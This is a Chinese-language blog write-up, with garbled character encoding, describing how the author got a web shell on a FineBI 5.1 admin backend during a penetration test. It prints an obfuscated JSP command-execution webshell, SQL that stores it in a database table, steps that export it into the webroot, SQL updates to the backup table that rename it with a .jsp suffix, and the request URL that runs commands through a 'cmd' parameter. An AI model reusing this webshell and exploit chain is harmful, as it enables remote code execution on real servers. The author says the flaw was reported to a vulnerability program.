记一次曲折的后台getshell过程
最近團(tuán)隊(duì)在對某個(gè)廠商進(jìn)行測試,辛辛苦苦搞了快一個(gè)星期才拿到一個(gè) shell,弟弟太慘了
0x01 開始復(fù)現(xiàn)
訪問url進(jìn)入登錄界面,輸入管理密碼進(jìn)入頁面
請裝作沒有看到我那個(gè)失敗的XSS,過了這么久也忘記了在哪里改回來了
進(jìn)入頁面
我這咋一看,我丟這不是和通某OA差不多嗎,當(dāng)初通某OA剛發(fā)的時(shí)候,全是XSS,越權(quán),SQL注入,未授權(quán)啥的,那時(shí)候也是更上了那次風(fēng),小賺了一筆
好了,不扯皮了,正式開始復(fù)現(xiàn),進(jìn)入頁面后,點(diǎn)擊數(shù)據(jù)準(zhǔn)備
添加一個(gè)業(yè)務(wù)包,點(diǎn)擊進(jìn)去后發(fā)現(xiàn)可以添加數(shù)據(jù)表
再一看右上角有一個(gè)全局更新,點(diǎn)進(jìn)入一看,我丟,數(shù)據(jù)表內(nèi)容可以任意位置存放。
看到之后,心想這不就翱翔了嘛,系統(tǒng)管理處好像有個(gè)添加數(shù)據(jù)庫連接,這波就直接在本地?cái)?shù)據(jù)庫插入一個(gè)馬子,再到這里一連接,然后一添加表,再一導(dǎo)出,不就直接getshell啦
直接開始操作,進(jìn)入本地?cái)?shù)據(jù)庫,選擇phpstudy創(chuàng)建數(shù)據(jù)庫自帶的sys數(shù)據(jù)庫,進(jìn)入再創(chuàng)建一個(gè)test表
use sys; create table test(test varchar(2555) not null);
在數(shù)據(jù)庫中插入木馬內(nèi)容,因?yàn)槭莏ava環(huán)境就是插入jsp的馬子
insert into test(test) values ('<%if(request.getParameter("cmd")!= null) { Class rt = Class.forNama(new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 })); Process e = (Process) rt.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.class).invoke( rt.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null), request.getParameter("cmd")); java.io.InputStream in = e.getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print(""); while((a = in.read(b)) != -1) {out.println(new String(b)); } out.print("");} %>');回到系統(tǒng)中,將自己數(shù)據(jù)庫添加進(jìn)去,系統(tǒng)管理-數(shù)據(jù)連接-數(shù)據(jù)連接管理-新建數(shù)據(jù)連接
選擇mysql,添加配置
測試連接
回到數(shù)據(jù)準(zhǔn)備處
找到我們創(chuàng)建的test數(shù)據(jù)庫中test的數(shù)據(jù)表,確定
查看我們的馬子:
點(diǎn)擊全局更新,修改下路徑,注:因?yàn)槁酚蓡栴},是無法直接訪問的,需要放到C:\FineBI5.1\webapps\webroot\scripts路徑下,但因?yàn)槟夸浵卤仨殲榭?#xff0c;所以需要在前面隨意添加目錄,它會(huì)自動(dòng)創(chuàng)建
點(diǎn)擊立刻更新多維數(shù)據(jù)庫
注:它默認(rèn)會(huì)有很多數(shù)據(jù),建議提前全部刪除,我這里之前已經(jīng)刪了,就不搞了
查看文件是否到了指定目錄,文件位置在
C:\FineBI5.1\webapps\webroot\scripts\admin\db\T_C162F2\super\P-1\S-1
下
查看文件中
然后我們就發(fā)現(xiàn)了一個(gè)很嚴(yán)重的問題.....不是 jsp 后綴,這不就當(dāng)場裂開了嗎
但是現(xiàn)在就差著臨門一腳,怎么可能半途放棄,現(xiàn)在能解決我現(xiàn)在就兩種方法了,文件包含,和任意文件名修改了,不過java站好像沒有文件包含吧,手動(dòng)滑稽,現(xiàn)在就只能一條路了,任意文件名修改,其實(shí)的話,原本是有一個(gè)的。。。但是是我朋友先發(fā)現(xiàn)的,就提交給某天了,導(dǎo)致沒得用,現(xiàn)在就簡單的給大家看一下
就是這個(gè)位置,任意文件名修改,用個(gè)burp抓個(gè)包改就好了,具體就不演示了,然后還有什么辦法呢,想了一天之后,終于給我找到了一處可能可以的
位置在:管理系統(tǒng)-智能運(yùn)維-備份還原處
看到左上角角落里躲著一直設(shè)置的圖標(biāo),點(diǎn)擊一下
可以看到這又是一個(gè)任意文件存放,但是沒啥用因?yàn)槲覀円氖侨我馕募薷?#xff0c;所以主題不在這里,隨意改一下備份路徑等下好找,保持,回到頁面,點(diǎn)擊一下手動(dòng)備份,名字隨意
現(xiàn)在重點(diǎn)來了,拿小本本記號,必考
勾選之前的備份,開啟 burp,點(diǎn)擊重命名
發(fā)現(xiàn)好像只有一個(gè)ID來判斷文件,沒有指定文件名,當(dāng)時(shí)腦子就一晃,難道我就真的不能getshell了嗎?
不不不,仔細(xì)一想,它好像走的是數(shù)據(jù)庫欸,然后一個(gè)ID和一個(gè)name,那么數(shù)據(jù)庫中必定包含著文件路徑,要不然怎么修改,對了忘記給文件路徑的圖片了,文件目錄在
C:\FineBI5.1\webapps\webroot\backup\config\manual\
這么長的路徑,不管怎么說都得有個(gè)路徑吧,現(xiàn)在就進(jìn)入數(shù)據(jù)庫找一找,
不負(fù)所望有了路徑,應(yīng)該只需要backupName和savePath兩個(gè)參數(shù)就可以實(shí)現(xiàn)任意文件名修改了
現(xiàn)在就會(huì)有人問了,怎么才能連接數(shù)據(jù)庫呢,不著急且聽我慢慢道來,在系統(tǒng)中有個(gè)管理權(quán)限,可以配置外接數(shù)據(jù)庫,只要有一臺外網(wǎng)服務(wù)器,一個(gè)符合數(shù)據(jù)庫版本和允許遠(yuǎn)程登錄的數(shù)據(jù)庫,不就成了么
開始實(shí)現(xiàn):
位置在:管理系統(tǒng)-系統(tǒng)管理-常規(guī)-外接數(shù)據(jù)庫
家境貧寒沒有服務(wù)器,就找個(gè)我兄弟的服務(wù)用了一下,等下和他意思意思一下就可以了,現(xiàn)在說一下為什么要配置外接數(shù)據(jù)庫,Finebi5.1 配置了外接,內(nèi)容所有數(shù)據(jù)都會(huì)存入外接數(shù)據(jù)庫當(dāng)中,然后....手動(dòng)滑稽
注意數(shù)據(jù)庫版本是被指定的
咳咳,回到正題,現(xiàn)在我們開始修改數(shù)據(jù)庫內(nèi)容,至于表怎么找到的,別問,問就是一個(gè)一個(gè)翻
update fine_backup_node set backupName="col-0-dic" where backupName='2020.12.29_10.11.24123';update fine_backup_node set savePath="../scripts/admin/db/T_C162F2/super/P-1/S-1" where savePath='../backup/config/manual';再次查看發(fā)現(xiàn)已經(jīng)修改成功
這里說一下,為什么是把文件名改為col-0-dic,而不是直接加上jsp,因?yàn)樗@個(gè)是會(huì)在指定的那個(gè)路徑去尋找文件,如果改為col-0-dic.jsp,就找不到文件了,所以現(xiàn)在就開始快樂的修改文件名環(huán)節(jié)
修改數(shù)據(jù)庫后,回到系統(tǒng)后,刷新
可以看到文件名已經(jīng)修改,現(xiàn)在開始重命名添加上 jsp 后綴
保存,到主機(jī)上查看
發(fā)現(xiàn)已經(jīng)被修改,訪問執(zhí)行whoami,參數(shù)cmd,GET請求
IP:端口/webroot/scripts/admin/db/T_C162F2/super/P-1/S-1/col-0-dic.jsp?cmd=whoami
成功了,歷時(shí)五天六個(gè)小時(shí),終于 getshell 了
?
0x04 結(jié)語
現(xiàn)在就是已經(jīng)拿到 shell 權(quán)限了,因?yàn)槭怯霉芾頇?quán)限運(yùn)行的,至少都是一個(gè)管理員權(quán)限,不就想干啥干啥了,然后其中還有很多很多挫折的,試了很多很多方法,才找到一個(gè)(果然還是我太菜),但還是不負(fù)眾望(相關(guān)漏洞已提交至某天 src)
總結(jié)
以上是生活随笔為你收集整理的记一次曲折的后台getshell过程的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 利用注释及自定义加密免杀Webshell
- 下一篇: 开源API网关Kong基本介绍和安装验证